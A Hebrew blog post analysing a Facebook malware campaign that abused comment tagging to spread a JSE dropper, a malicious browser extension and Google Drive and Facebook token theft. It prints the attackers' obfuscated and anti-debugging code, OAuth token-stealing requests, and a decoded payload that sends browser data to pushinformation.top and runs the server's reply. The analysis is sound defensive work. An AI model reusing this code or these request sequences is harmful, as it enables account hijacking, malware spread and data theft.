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 הקדמה

פוסט אודות מחקר אשר ביצעתי ביחד עם חבר נוסף  Kaspersky Labבבלוג של חברת  פורסםבחודש יוני 

קמפיין פישינג מגניב לגמרי שהדביק מתייחס ל ","Tag Me If You Can לו קראתיהמחקר אשר  בשם דני.

שעות והכיל בליבה שלו חולשה  48-למעלה מעשרת אלפים משתמשי פייסבוק בטווח זמן של פחות מ

המשתמשים הנרגשים, שבסך הכל קיבלו נוטיפיקציה שתוייגו לתגובה ע״י אחד החברים בפייסבוק. 

שהוא שלב ההדבקה הראשון  JSEמוריד קובץ אשר שלהם, מיהרו ללחוץ עליה וזו הובילה אותם ללינק 

 . מתקפה בעלת שני שלבים)והפחות מעניין למי שיותר טכני מבינינו( מתוך 

של פייסבוק  API-סוג של אתגר. זאת מפני שהאל כ תייחסתי אליהה רשאהשלב השני טמן בחובו חידה 

(, אך אוסר YNETאכן מאפשר היזדהות כחבר פייסבוק באתר צד שלישי והוספת תגובות )ראו למשל 

בתכלית האיסור תיוג של חבר, וגם אם יתבצע, פייסבוק מצידו לא ישלח את התיוג כנוטיפיקציה לאותו 

הזו אומרת ש״מסתתר״ נחש מתחת לאבן הזו, והסקרנות שהרגה את  משתמש שתויג. עצם העובדה

 החתול היא בדיוק ההרגשה שהציפה אותי.

, Undotמחברת  דני גולנדהיה  , ולצידילפני שנתחיל חשוב לציין שעל המחקר הזה אני לא חתום לבדי

פליקציית מובייל שהיא בעצם חברת פיתוח שהוא מנהל באופן עצמאי. הכרתי את דני על רקע פיתוח של א

במגירה. מעבר לעבודה, אני ודני  (בינתיים), אך זו כמו רעיונות נוספים נסגרה HLS-יעדתי לתחום היש

נתן אינסייטים ושיתפתי אותו בעשיית המחקר הוא ביקש להצטרף ר שאוכ, הכרנו גם במישור האישי

 .שעליו אפרט במאמר זהחשובים מאוד שחלקם גרמו לפתרון של הפאזל 

גרמה ר שאשפחות מתעניין בכל הרקע הטכני ומעוניין רק לדעת מה הייתה הפגיעות בפייסבוק  למי

 לאפשרות של התוקף לתייג משתמשים לפוסט שפורסם באתר צד שלישי, אני אפרט בכמה שורות. 

 

 שורה תחתונה

שם לב שכאשר הוא מזדהה בפלאגין של פייסבוק שקיים באתר חיצוני ומוסיף  מפעיל הקמפיין הנ"ל

, זאתתגובה, הפוסט מתפרסם בפייסבוק. כלומר, הוא מקבל מזהה ייחודי של תגובה. לאחר שזיהה 

 הרגיל בתוך האתר של פייסבוק על מנת לזהות האם המזהים שונים.  י-Web-הפירסם תגובה בממשק 

https://securelist.com/blog/incidents/75237/facebook-malware-tag-me-if-you-can/
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קנה שהמזהים אינם שונים בתבניתם ולכן יש לו את האפשרות ליצור תגובה הגיע למס נראה כי הוא

בפייסבוק, לתייג אליה את כל החברים של הקורבן ואז לתפוס את המזהה הייחודי של התגובה במהלך 

יגרום הנ"ל הפרסום, ולהחליף אותו עם המזהה הייחודי של התגובה שיצר בפלאגין החיצוני. עצם המעשה 

פייסבוק ישמור את המידע כפי שהוא, ומעצם התיוג ישלח נוטיפיקציות תיוג למשתמשים שהשרת של  כךל

שתויגו. מה שהשרת לא ידע זה שהוא שומר את התגובה עם מזהה של פוסט שפורסם בפלאגין החיצוני 

 ולכן לחיצה על הנוטיפיקציה תנווט את הקורבן לאותו פלאגין, שם ניתן להטמיע לינק להורדה. אותו הלינק

 המדובר. JSEמוריד את הקובץ 

השאלה היא היכן נמצא אותו קובץ, והתשובה היא שהוא נמצא בגוגל דרייב של אותו קורבן שדרכו הופצה 

 התגובה. מבולבלים? גם אנחנו. 

 מהתחלה

 הבאה: בואו נסתכל רגע על הסכמה

 

. לאחר ההורדה, הקובץ JScriptנניח שלחצתי הרגע על תיוג בפייסבוק והוא הוביל אותי להורדה של אותו 

(, יקריס את התהליך של הדפדפן הלגיטימי ויעלה au3 script(, יריץ קוד דרכו )AutoITיוריד כלי חיצוני )

מופע של דפדפן שעליו מותקן תוסף חדש שישמש בהתקפה כ״אדם באמצע״. באותו מופע של הדפדפן 

ורבן להתחבר חזרה לחשבון ולדמה הזדוני, התוקף יפתח תגית של פייסבוק על מנת למשוך את הק

שמירה של מצב הדפדפן לפני הסגירה. ברגע זיהוי הכניסה לחשבון הפייסבוק תתבצע הורדת קובץ 

JavaScript אותו נקבל משרת התקיפה וזה ישתלט על חשבון הפייסבוק והגוגל דרייב דרך ה-DOM איך .

 הוא עושה את זה? תיכף נראה.
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בוק תיקנו את אותו באג, שכנראה נסחר ״מתחת לפני הקרקע״ כאשר הוא פייסשחשוב לציין במעמד זה 

מוצמד לסקריפט פישינג איימתני, עליו נפרט היום. הפירוט יכלול כמובן מקרה פרטי ועל פי מחקרים 

 שעשינו הכלי מכיל מופעים נוספים ויכולות נוספות, אך לא נכנס לזה כרגע.

על התוקף לייצר סקריפט אוטומטי ואדפטיבי  DOM-פה דרך המש רגע לפני, נזכיר שעל מנת לייצר התק 

בצורה גלויה לחלוטין. דבר זה מעלה את הסיכון עבור חשיפתו  Client Side-ברץ  DOM-לחלוטין שכן ה

 ..ועריכתו של אותו קוד זדוני ולכן על הכותב של אותו קוד לדאוג שהוא מגן מפני אותם סיכונים, לכאורה.

 

 העירבולקצת על שלב 

ההתקפה אותה נתאר היא ההתקפה שמגיעה לאחר שתהליך הדפדפן הזדוני עולה וקוד נוסף הוזרק לצד 

, נשאר קבוע לאורך כל המחקר שלנו ורק תוכנו משתנה באופן data.jsהלקוח של הדפדפן. שם הקובץ, 

שורות מעורבלות לחלוטין.  1500הקוד מכיל בערך  רנדומלי בהתאם להתקפה ולמהלך האירועים סביבה.

שורה )דיבאג( ואף שכתוב -בתוך הקוד עצמו ישנן מספר הגנות מפני שינוי של הקוד, הרצה שלו שורה

מחדש וניסיון ״לשחק איתו״. מעבר לזה, הקוד מכיל מיפוי אבסולוטי של רוב הפעולות שניתן לבצע בתוך 

נת ליזום בקשות לשרת. זה הזמן לומר על מ XHR-אותה רשת חברתית, כאשר בין השאר הוא משתמש ב

 שכל התעבורה נעשית מעל הדפדפן. 

 כותר הקובץ:

//generated do <3-4 digits> 

//contact: securesys@hmamail.com 

 

 דוגמא לחלק מהקוד המעורבל:

var Y1h = (function J(B, Q) { 

    var T = '', 

        k = 

unescape('d%15%22%27@%20u_w%0C%162%25%0Cz%0A%05d%3A%2CJD94K4N*8%05%25o5%07E8%1E%3E%18I%15%5B%0A%25A%
14%1B%1FM+%19%11ez%16.wxr%1A3%22%24ns%08X%7DMg94K4O%15%14%052i%12te%02w%10%182%12.%22%24%19%12m4k%0Bq%1

F%7B%0C%19.%14%16%10%15d%2C%13%0A%05@%3A%2CAD%3E@d@%3E%15%10%04Kn5kd%0A%1FG%18%3AvXn%1F@%26%5C%00%5E%11

7%21W4/Jbm%22%0C%3C43%25f%1DX6%1E%5C%10%1C%07CZ%3C%0D%3D%04T%27%5E%5D%1D%7DG%7B%3F%15Zy%25A5m%10%1FZ%19

K%1Co%60J%3B%27/%1D%22%239%3F%3E%08Mh%1E%5C%0C%0FL%01Zc%5C%3D%04P%3BW_%1C0Rn%5E*%1D%3F%0A%5D%25T%7C%1CO

%20%1A%5B5%3A%01%21%3D%23Q%7Cn%3C%3E%3E%08Mh%06V1%1CJ%00%0B.%5Cs%5ET%3B%5E%5B%0D+%02*%5EcM8%17V%2CI%0CP

Oo%5DY%20%3A%191mgQ7%22%234+CX%7DMJ%16%1AQ%07%02vIf%3Em%07ug%3D%07%3B%10.%06%3E%138%60%16r%0Cx%23%0A.%7

D%0F%09%3A%05%1F%0C%20%12%0E%1C%18%17rX%7DMI%10%07L%06%110%13%3C%5E%18q%00%09KqYqW%7EJh8p%0Au%06pOo%5D%

08axF%7Cg%7BYnh13%3AS%021M%13%5D4VVOv%001%00@%0D_%5C%1C%03%19%7BKv%119%18@%08E%7C%1CO%19My%0B%16%26%15%

29y%13x%0D%27%3E7l%3B%13/BT%15W5%12g%00%02%3DE%13K%0B%04%191%00%3C2G%2C%25E%3Bml%09Zz%05%07zu%07-

%22%21%0F54o%7BflG%0AY%06HWc5%16%14HfK%0D%12%1Fy%22%1E%3E%19%1A%7D%0F%7F%25E%26_%18j4%18%19%0E-

%25%29%3F%7C%3D5%0A%15%0D*mJ%13%0C.N%3F%13%0A%14%00%15LfK%0D%20QN%10%25%0C0%0E%3BM%7BF%1Cv%1B%7CC%03%20

%10y7/%1B%3CmgQ80%248/RG4%1D%5D%07W%12V%25vIf%00%0Dd%0FZFhR%2C%00%3A%3D%26%17b%3B%5E3S%021%1B%07zu%03%2

9%3E8%0B%197'); 

    for (var R = 0, I = 0; R < k["length"]; R++, I++) { 

        if (I === Q["length"]) { 

            I = 0; 

        } 

        T += String["fromCharCode"](k["charCodeAt"](R) ^ Q["charCodeAt"](I)); 

    } 

    var h = T.split('?*?'); 
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 עירבול-דה

עירבול״ או שלב הפענוח של אותו קוד מתחיל מיד לאחר האימפלמנטציה של הפונקציה -שלב ה״דה

שורות לערך בגודל משתנה אך די יציב. הפונקציה הזו מקבלת שני ארגומטים  300הראשונה, שמכילה 

בצורה של מחרוזות. האחד הוא התוכן במעורבל אותו הפונקציה תפענח והשני הוא מפתח הפענוח. 

אממה, הפונקציה לא תתחיל לפענח את אותה המחרוזת שמתקבלת כארגומנט, אלא את המחרוזת 

. כפי שניתן לראות, שלב הפענוח הוא חישוב של kחלת עם המשתנה שנמצאת בבלוק למעלה, המאות

XOR  של מיקום משתנה במחרוזת, עם מיקום משתנה במפתח הפענוח. כלומר, עבור כל תו במחרוזת

המוצפנת, הלולאה תתאים תו במפתח. כאשר המצביע ״יגיע״ לתו האחרון במפתח )שווה לאורכו(, 

 המצביע יתאפס ויתחיל מחדש. 

, אזי שהתו האחרון של הערך 4והערך המוצפן בגודל  3ת לפשט זאת, אם המפתח היה בגודל על מנ

המוצפן היה מפוענח באמצעות התו הראשון של המפתח. בחלק הקוד הבא ניתן לראות שהארגומנט 

"( נכנס לשלב הפענוח רק לאחר השלב הראשון, כאשר מפתח Bשמתקבל עבור הפונקציה כערך מוצפן )"

הערך המתקבל מתהליך הפענוח הראשון הינו מערך של  ו נוצר במהלך הפענוח הראשון.הפענוח של

, Regexמחרוזות, חלקן מוצפנות )שיפוענחו בתהליכונים הבאים( וחלקן שמות של פונקציות, מחרוזות 

 מפתחות פענוח וערכים מתמטיים לצורכי חישובים נוספים.

    try { 

        var f = 0, 

            t = 25, 

            o = []; 

        o[f] = U[h[40]](c(U[h[41]] + h[3])) + h[3]; 

        var K = o[f][h[11]]; 

        for (var R = B[h[11]] - 1, I = 0; R >= 0; R--, I++) { 

            if (I === K) { 

                I = 0; 

                if (++f === t) { 

                    f = 0; 

                } 

                if (o[h[11]] < t) { 

                    o[f] = U[h[40]](o[f - 1], o[f - 1]) + h[3]; 

                } 

                K = o[f][h[11]]; 

            } 

            e = String[h[5]](B[h[27]](R) ^ o[f][h[27]](I)) + e; 

        } 

        var E = eval(e); 

" מייצג את המערך שנוצר משלב הפענוח הראשון ונראה בבירור חלק אקטיבי מהפענוח הבא hהמשתנה "

 אחריו.

צילום המסך מראה כיצד תהליך הפענוח מתבצע בזמן ריצה. על מנת לחשוף את הקוד היה עלינו להעתיק 

כולו לתיקייה מקומית ולכלול את אותו בהגדרות תוסף הדפדפן, הנמצא כמובן בקובץ  data.jsאת הקובץ 

 .manifest.json-ה
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התוסף עצמו מכיל מכשולים לכשעצמו, כאשר הוא מכיל קוד המונע מהקורבן לגשת להגדרות התוספים 

 וגל.מתבצע ניתוב לחנות התוספים של ג chrome://extensions-בדפדפן. בעת הכניסה ל

 Reload" בדפדפן, ומשם על developer modeלאחר ההסרה של אותו הקוד יש ללחוץ על לחצן הרדיו "

בצורה מקומית, שכן זה יחסוך לנו את הניסיון  data.jsשל אותו תוסף זדוני על מנת שיכלול את הקובץ 

 ״לתפוס״ אותו בזמן ששרת התקיפה משתמש בו.

 

 

 מניעת עריכה והגנות נוספות

Debugger 

על מנת להריץ  evalאנליזה סטטית של הקוד לא הניבה תוצאות שכן הסקריפט עושה שימוש בפונקצית 

קוד חדש ממחרוזת בזמן ריצה. לכן, אנליזה דינאמית הייתה הכרחית על מנת לקבל את הבלוקים 

ייקט החסרים של הקוד. במהלך ניסיון לדבג את הקוד, המצביע נכנס לקטע קוד המכיל את האוב

שניות. ניסיון להסיר את קטע הקוד הזה  5של  sleep-קריאות ל 5000״דיבאגר״ שבעצם יוזם לופ של מעל 

 נתקל בשגיאה.

(function() { 

    

'aXapg1Vp27dzpTU9n5n2XUBULUFFVVR6uOk2e5HhOzzk6VUD2LeATcDuZ2YAaajLGANiW9Zgolq53Bn

cWHJqwfNICiK4gGskwHki2'; 

    (function() { 

        function a() { 

            (function() {}).constructor("(function(f){(function a(){" + 

                "try {" + 

                "function b(i) {" + 

                "if((''+(i/i)).length !== 1 || i % 20 === 0) {" + 

                "(function(){}).constructor('debugger')();" + 

                "} else {" + 

                "debugger;" + 

                "}" + 

                "b(++i);" + 

                "}" + 

                "b(0);" + 
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                "} catch(e) {f.setTimeout(a, 5000)}" + 

                

"})()})(document.body.appendChild(document.createElement('frame')).contentWindow

);")(); 

        }; 

 

 [DOM-מקשה על חקירת ה Debugger-]ה

 הגנה באמצעות גיבוב חתיכות קוד

הטריק עם הדיבאגר אינו המכשול היחיד שעל החוקר לעקוף על מנת לדבג את הקוד בצורה נורמלית. 

למען באמת, החלק המורכב עוד לפנינו. באמצעות שימוש בפנקציית גיבוב, העורך של הסקריפט מייצר 

ה האשים של בלוקים של קוד בזמן ריצה, מה שמונע מהחוקר לערוך את הקוד. ברגע שעורכים חתיכ

 מהקוד על מנת לנסות ״לפרק״ אותו צעד צעד, להציב משתנים וכולי, הסקריט קורס. 

 הקרסה של הקוד - פתרון קסם

( כמעט את הקוד כולו. את שאר הקוד unpackאחרי כמה ניסיונות כושלים, הצלחנו לבסוף ״לפתוח״ )

נו את המבנה של הקוד. המעורבל הצלחנו להבין לאחר פתיחה של הקוד וכמובן ימים ולילות שבהם למד

, למשל, בחלק מסוים בקוד, הסקריפט כושל אך 0-גילינו שברגע שמייצרים שגיאה מכוונת כמו חלוקה ב

צעד לעבר פענוח מלא של הקוד. -ממשיך לרוץ ולפענח חלקים מסוימים בקוד. דבר זה הביא אותנו צעד

 צעות סקריפטים של פייתון.חלקו בצורה ידנית ומעט החלפות של מחרוזות עם שמות משתנים באמ
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בתוך הקוד גילינו סדרת שיטות השתלטות מתוחכמות אשר מסודרות בצורה מאוד מחושבת. ברור שמי 

 :של גוגל דרייב ופייסבוק במשך הרבה מאוד זמן DOM-שיצר את הסקריפט למד את ה

 

 

 מתחת למכסה מנוע

התעבורה מעל הדפדפן הגיע הזמן הקריטי שהצלחנו לפענח את מירב הקוד ותפסנו את כל לאחר  כעת,

, אנחנו מגיעים לפגיעות של הפייסבוק, אם היא בכלל קיימת כיצדולהבין  של העין להסתכל לקוד הזה בלבן

 איפה. אז -ואם כן 

 גוגל דרייב -גניבת טוקן 

 ( מועתקJSEעל מנת שהתוקף ישאר בצללים ועל מנת שההתקפה תהיה אוטומטית לחלוטין, הטרויאן )

לגוגל דרייב של אותו קורבן שהתחבר לחשבון הפייסבוק שלו. על מנת ליצור סנריו שכזה התוקף חייב 

 ( של המשתמש בעת חיבור לגוגל דרייב.Authorization tokenלגנוב את המזהה הייחודי )

 :Google OAuth2-ל GETההתקפה מתחילה בבקשת 

GET 

https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/

urlshortener%20https://www.googleapis.com/auth/drive%20https://www.googleapis.co

m/auth/drive.appdata%20https://www.googleapis.com/auth/drive.file&client_id=2928

24132082.apps.googleusercontent.com&redirect_uri=postmessage&origin=https://deve

lopers.google.com/&response_type=token HTTP/1.1 

Host: accounts.google.com 

... 

Cookie: SID=eQPBPD... 
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המטרה של הבקשה הלא כל כל טרויאלית הזו היא פשוט בקשת רשות להשתמש בשני השירותים 

 הבאים:

 Google URL Shortener 

 Google Drive API 

של הקורבן,  timeline-יוטמע בהמשך ב Google Shortner-סיבה לשירותים הספציפיים האלו היא שהה

 כאשר התוקף יעלה פוסט בשמו. הלינק יוביל לגוגל דרייב של אותו קורבן )על מנת לשמור על אמינות(.

 ר שימוש באותם שירותים:( שחוזר בתגובה לבקשה מכיל את הטוקן המאשPayloadהמטען )

HTTP/1.1 200 OK 

Content-Type: text/html; charset=utf-8 

... 

Content-Length: 1122 

 

<!DOCTYPE html><html><head><title>Connecting...</title><meta http-

equiv="content-type" content="text/html; charset=utf-8"><meta http-equiv="X-UA-

Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, 

initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=0"><script 

src='https://ssl.gstatic.com/accounts/o/3299913213-

postmessage.js'></script></head><body  dir="rtl"><input type="hidden" id="error" 

value="false" /><input type="hidden" id="response-form-encoded" 

value="access_token=ya29.CjAUAwoFMS2h7T0blfghNqAlCC79evb3hb_5l7ktYG289AsVgpPXQq3

gSU6fsq_tj4A&amp;token_type=Bearer&amp;expires_in=3600" /><input type="hidden" 

id="origin" value="https://developers.google.com/" /><input type="hidden" 

id="proxy" value="" /><input type="hidden" id="relay-endpoint" 

value="https://accounts.google.com/o/oauth2/postmessageRelay" /><input 

type="hidden" id="after-redirect" value="" /><script 

type="text/javascript">self['init'] = function() 

{postmessage.onLoad();};</script><script type="text/javascript" 

src="https://apis.google.com/js/rpc:shindig_random.js?onload=init"></script></bo

dy></html> 

 :Authorization-של כותר ה Bearer-לגוגל דרייב, כערך ל HTTPהטוקן שמודגש יוטמע בכל בקשת 

 

 של הקורבן[ Google Drive-בקשה הכוללת את תוכן התוקן שנחטף במטרת גישה ל]
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 ברודקסט מלוור -גוגל דרייב 

באמצעות הטוקן של גוגל דרייב, מאושרת להעלות  , אשר,POSTהבקשה בתמונה למעלה מכילה בקשת 

 :Base64-רבן. המטען שנראה בבקשה כולל מחרוזת ארוכה מקודדת בקבצים שדרייב של הקו

POST https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart 

HTTP/1.1 

Host: www.googleapis.com 

 

content-type: multipart/form-data;  boundary="-------320283915743702750000" 

x-javascript-user-agent: google-api-javascript-client/1.1.0-beta 

Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4 

---------320283915743702750000 

Content-Type: application/json 

{"name":61725377,"mimeType":"text/html"} 

---------320283915743702750000 

Content-Type: text/html 

Content-Transfer-Encoding: base64 

PGh0bWw+PC9zcGFuPjx1bCBj...YmN6eWJxenVnc3dpbmJoIj48L2h0bWw+Cg== 

---------320283915743702750000-- 

התגובה מחזירה מזהה ייחודי של הקובץ שהועלה, אשר לאחר מכן יסייע לתוקף בשינוי הרשאות הגישה 

 :לקריאה על ידי כל משתמש שמחזיק בו לקובץ, כך שהלינק יהיה פתוח

HTTP/1.1 200 OK 

X-GUploader-UploadID: 

AEnB2UpKZH_XmylXWtMwMB0IlNQ5BQ4v3hm6rIeXToatChi6RDNABrMyhBXgmq0qEL1xc_VHFO_QKCYe

ALyCcnKLMmRlFDDyDA 

 

Alt-Svc: quic=":443"; ma=2592000; v="34,33,32,31,30,29,28,27,26,25" 

{ 

 "kind": "drive#file", 

 "id": "0B1QnPWBq7G22Y3RVZ0Q0Q0hyVkE", 

 "name": "61725377", 

 "mimeType": "text/html" 

} 

שהוצג במטען של הבקשה  Base64-לפני שנמשיך לשלב של שינוי ההרשאות, רציתי להתעכב על ה

 להעלאת קובץ. בואו נראה מה הקובץ שהתוקף מעלה.

 גניבת מידע

אשר כולל שלב נוסף של קידוד והינו מעורבל  HTMLלאחר פענוח הקובץ, נראה שמדובר בסקריפט 

. מעבר לזה, התוקף הוסיף עוד קוד מת ואלמנטים שכביכול מכילים data.jsבשיטה דומה לערבול של 

 המקבלת לולאה כמו שנראה JavaScript בלוק ישנו הקובץ בתוך , אך אלו אינם קיימים.נוספים דומיינים

 :לפענוח מחרוזת

<html></span><ul class="ffybatjyeafsctv"><center class="hjywgqitiay"><span 

id="nwktpmmltlcsrq"><ul id="fbnfzbeaqwkes"><ul class="avwtnmtoaqwf"></img><img 

id="qvcodjywjusch"><img id="lirekozqmltu"><img class="ppqjhtrmpo"><meta 

name="medium" content="image" /><a><title>Donny Bravo</title><ul><a 

class="slmzbcqljkcw"></span><span><a 

href="http://qzpfbnypzxvisfjtl.net"></a><div><img class="sruhwwvvlguj"><i><div 

id="gjhnfcoaufvcc"><i></span><center 
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class="hhcqpqvrewmjspl"><ul><script>function ntSjDudMLW(hpihjeLwOE) {var 

QIAtZgPsoKYQ="OVIHNDxkGEPPTzLFXkwFLQFSFXhqWXPKTyrHcPRIuHyngjSduoJffpYKmfaidQSXpk

EsawaudzI"; kaCqGvsh = 

"jxw5AFKOsGqe;D!,)Y_.HVf/cL&v]ZaTu4'%2?z=EUS61<dCXh[oiRJb+r9}7n-

8kMNIl%P{gBQp:3>my*(t0 ".split("");hpihjeLwOE = 

atob(hpihjeLwOE.split("").reverse().join("")).split("b");GBOPfjTRVQw = "";for 

(var gFjpJVMx = 0; gFjpJVMx < hpihjeLwOE.length; gFjpJVMx++) {if(typeof 

kaCqGvsh[hpihjeLwOE[gFjpJVMx]] != "undefined") {GBOPfjTRVQw = GBOPfjTRVQw + 

kaCqGvsh[hpihjeLwOE[gFjpJVMx]];var 

JBndQXjVmhF="nGIqxAoMLSfMpfhtFQDorRshOBcbJHAXoioLJCyvvDiKJpdofHDxyVEnxGohoPeCYso

HUMdpql";}var 

ZBdoHKRejM="wjpLqDAugzNugIhkXxvYwWbKDMBIVoqsxFdOjEipdWJkEQuCnQAKMCvqoWYjlpBIVFwe

jFtnBdygTSIhIjS";}var 

LnMakLkvbMdW="AaBguOIxnOrfxzOGrksEXsOICjJonGGOHhUbWCzjqRpNqeuHpNmmfbVIlFXylDmSKh

U";return GBOPfjTRVQw;}var nbazzcrgusbsmh=ntSjDudMLW("4YjYwMjY3IjYiFTM");var 

cwflcxmslekjgcv=ntSjDudMLW("4YjYwMjY3IjYiFTM");var 

fsapnrrxcsm=ntSjDudMLW("1UjYxUjYzgjYiBzM");var 

qwqqwticnbegol=window;qwqqwticnbegol[cwflcxmslekjgcv](qwqqwticnbegol[nbazzcrgusb

smh](qwqqwticnbegol[fsapnrrxcsm]('bnRTakR1ZE.WpZeWdqWWlKbVkiKTs=')));</script><i 

id="aaszwahzqxp"><img id="bqpleyywyz"><div class="atmablryaenunp"></a><span... 

 יראה כך: רמט נקי יותר של אותו קטע קודפו

<script> 

  function decode_func(encoded_payload) { 

    key = "jxw5AFK0sGqe;D!,)Y_.HVf/cL&v]…+r9}7n-Il%P{gBQp:3>my*(t0 ".split(""); 

    encoded_payload = atob(encoded_payload.split("").reverse().join("")).split("b"); 

    decoded_string = ""; 

    for (var i = 0; i < encoded_payload.lenght; i++) { 

      if (typeof key[encoded_payload[i]] != "undefined") { 

        decoded_string = decoded_string + key[encoded_payload[i]]; 

      } 

    } 

    return decoded_string; 

  } window["eval"](window(["eval"](window["atob"](decode_func('iJmMxImNxIm…gjYiJmY');))); 

</script> 

 
 פענוח של המחרוזת בשורה האחרונה מציגה את הקוד הבא:

(function() { /*aGRsZHl5ZnZocGR2d2t3Z2RwYmVjZXBreHpjeHl3ad6dGt5cnB0eU=;*/ 

    var _navigator = {}; 

    var _navigator2 = {}; 

    var _navigator2 = {}; 

    for (var i in navigator) { 

        _navigator[i] = navigator[i]; 

    } 

    for (var i in navigator.mimeTypes) { 

        _navigator2[i] = navigator.mimeTypes[i]; 

    } 

    var navVars = JSON.stringify(_navigator); 

    var _screen = {}; 

    for (var i in screen) { 

        _screen[i] = screen[i]; 

    } 

    var screenVars = JSON.stringify(_screen); 

    var scrVars = ''; 

    var infoSend = btoa(navVars + '-' + scrVars + '-' + screenVars + '-' + 

document.referrer + '-' + Date()); 

    var tqakgoblijavvn = true; 

    if (typeof navigator.mimeTypes != 'undefined') { 

        if (typeof navigator.mimeTypes[0] != 'undefined') { 

            if (typeof navigator.mimeTypes[0].type == 'undefined') { 

                tqakgoblijavvn = false; 
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            } 

        } 

    } 

    if (tqakgoblijavvn === true) { 

        var vanckhtkszyt = new XMLHttpRequest(); 

        vanckhtkszyt.open('POST', ((location.protocol == 'https:') ? 'https:' : 

'http:') + '//' + String.fromCharCode(112, 117, 115, 104, 105, 110, 102, 111, 

114, 109, 97, 116, 105, 111, 110, 46, 116, 111, 112, 47, 106, 115, 46, 106, 115) 

+ '?' + Math.random(), true); 

        vanckhtkszyt.setRequestHeader('Content-type', 'application/x-www-form-

urlencoded'); 

        vanckhtkszyt.onreadystatechange = function() { 

            if (vanckhtkszyt.readyState == 4 && vanckhtkszyt.status == 200) { 

                eval(vanckhtkszyt.responseText); 

            } 

        }; 

        vanckhtkszyt.send('info=' + infoSend); 

    } /*dJochsZmpxa5mdGxmd2llc3Frc2t1cJqa2FvaXZwc14YnJoc2F1eXVnZHFwaQ==;*/ 

})(window); 

 infoלשרת התקיפה. החלק המעניין ביותר הוא התוכן של המשתנה  POSTבקוד נראה שמתבצעת בקשת 

 אשר מכיל ככל הנראה את המידע שנגנב. 

POST /js.js?0.550745431729359 HTTP/1.1 

Host: pushinformation.top 

Content-Length: 1509 

 

info=eyJ2ZW5kb3JTdWIiOiIiLCJwcm9kdWN0U3ViIjoiMjAw...MwMCAoSmVydXNhbGVtIERheWxpZ2

h0IFRpbWUp 

 :infoלבסוף, ניתן לראות את המידע אותו אסף התוקף מפענוח הערך של המשתנה 

{ 

    "vendorSub": "", 

    "productSub": "20030107", 

    "vendor": "Google Inc.", 

    "maxTouchPoints": 0, 

    "hardwareConcurrency": 3, 

    "appCodeName": "Mozilla", 

    "appName": "Netscape", 

    "appVersion": "5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) 

AppleWebKit/601.1 (KHTML, like Gecko) CriOS/47.0.2526.70 Mobile/13B143 

Safari/601.1.46", 

    "platform": "Win32", 

} 

 חזרה לשינוי הרשאות גישה לקבצים

 :יבקש לשנות את הגישה לקובץ ל״כולם״ JSONבפורמט  POSTשימוש במזהה הייחודי בתוספת מטען 

POST 

https://content.googleapis.com/drive/v2/files/0B1QnPWBq7G22Y3RVZ0Q0Q0hyVkE/permi

ssions HTTP/1.1 

Host: content.googleapis.com 

... 

Content-Length: 33 

 

{"role":"reader","type":"anyone"} 
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 :התוקף ישתמש בו, קובץ אותו עבור שנוצר הלינק את לראות ניתן בתגובה

HTTP/1.1 200 OK 

Cache-Control: no-cache, no-store, max-age=0, must-revalidate 

Pragma: no-cache 

Expires: Mon, 01 Jan 1990 00:00:00 GMT 

... 

Server: GSE 

Alternate-Protocol: 443:quic 

Alt-Svc: quic=":443"; ma=2592000; v="34,33,32,31,30,29,28,27,26,25" 

Content-Length: 265 

 

{ 

 "kind": "drive#permission", 

 "etag": "\"1TJQgR03e3kullTvmPoNa3p7rGU/SMt_AihNOeEid3uqxvT2TMEdQYU\"", 

 "id": "anyone", 

 "selfLink": 

"https://www.googleapis.com/drive/v2/files/0B1QnPWBq7G22Y3RVZ0Q0Q0hyVkE/permissi

ons/anyone", 

 "role": "reader", 

 "type": "anyone" 

} 

 יצירת קריאות זדוניות

הקובץ בצורה שקטה, שלב המודיפיקציה הסתיים והשלב הבא הוא יצירת הלינק שיוטמע  לאחר העלאת

של הקורבן. הסקריפט מייצר שני סוגים של לינקים קצרים. כל אחד משמש לפיתוי משתמשים  timeline-ב

 בדרך שונה.

 Google URL Shortener - יוטמע בפוסט שפורסם ע״י הקורבן. 

 TinyURL -  פייסבוק אשר תישלח לקורבןיוטמע בהודעת. 

Google Shortner: 

gl: function(E, a) { 

   gF[U2e.U4O][U2e.T3O](String[U2e.G9U](U2e.L5O,,U2e.P4U), function(A) { 

      var d = "C8"; 

         if (U2e[d](A, U2e.x7U)) { 

            $[U2e.g0O]({ 

            url: "https://content.googleapis.com/urlshortener/v1/url", 

            type: "POST", 

            headers: { 

               "Authorization": "Bearer " + A 

            }, 

            async: false, 

            contentType: "application/json; charset=utf-8", 

            data: JSON[U2e.t3U]({ 

               "longUrl": E 

            }), 

            complete: function(e) { 

               a(gF[U2e.r7U](e[U2e.O6O])[U2e.s3U]); 

            } 

         }); 

      } else { 

         a(E); 

      } 

   }, U2e.h7U); 

} 
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TinyURL: 

isgd: function(E) { 

    $[U2e.g0O]({ 

        url: 'https://tinyurl.com/api-create.php?url=' + E, 

        type: 'GET', 

        async: false, 

        complete: function(A) { 

            var d = function(e) { 

                l = e[U2e.O6O]; 

            }; 

            d(A); 

       } 

    }); 

    return l; 

} 

אשר הגיע  JSE-בסוף תהליך העלאת הקבצים, הדרייב של הקורבן יכיל שלושה קבצים. האחד הוא ה

, אחד פירטנו HTMLמשרת התקיפה ויהיה חלק מתהליך התיוג ללינק חיצוני. השני והשלישי הם קבצי 

אשר יגיע משירותי קיצורי הלינקים  JSE-והשני הוא צורה שונה של הלמעלה והוא אחראי על גניבת מידע 

 שפרטנו כרגע.

 

 של הקורבן כולל את הקבצים המפגעים[ Google Drive-]חשבון ה

 גניבת טוקן פייסבוק

של פייסבוק, על הסקריפט לייצר טוקן עבור הקורבן ואיתו לבקש הרשאות על  API-על מנת ״לדבר״ עם ה

 הפונקציונליות הנדרשת עבור ההתקפה.

 client-אשר אינן מוודאות את ה APIהסקריפט מבקש טוקן שמיועד לשימוש של מספר קטן של קריאות 

IDואינן מבצעות פעולות מצד השרת. לטובת הנושא, בחר התוקף להשתמש ב ,-client ID  אינסטגרם של

. אם הקורבן יבדוק את הגדרות האפליקציות שלו בחשבון הוא יזהה שהקצה (124024574287414)

 הרשאות לאינסטגרם, דבר שלא יעלה את חשדו. 
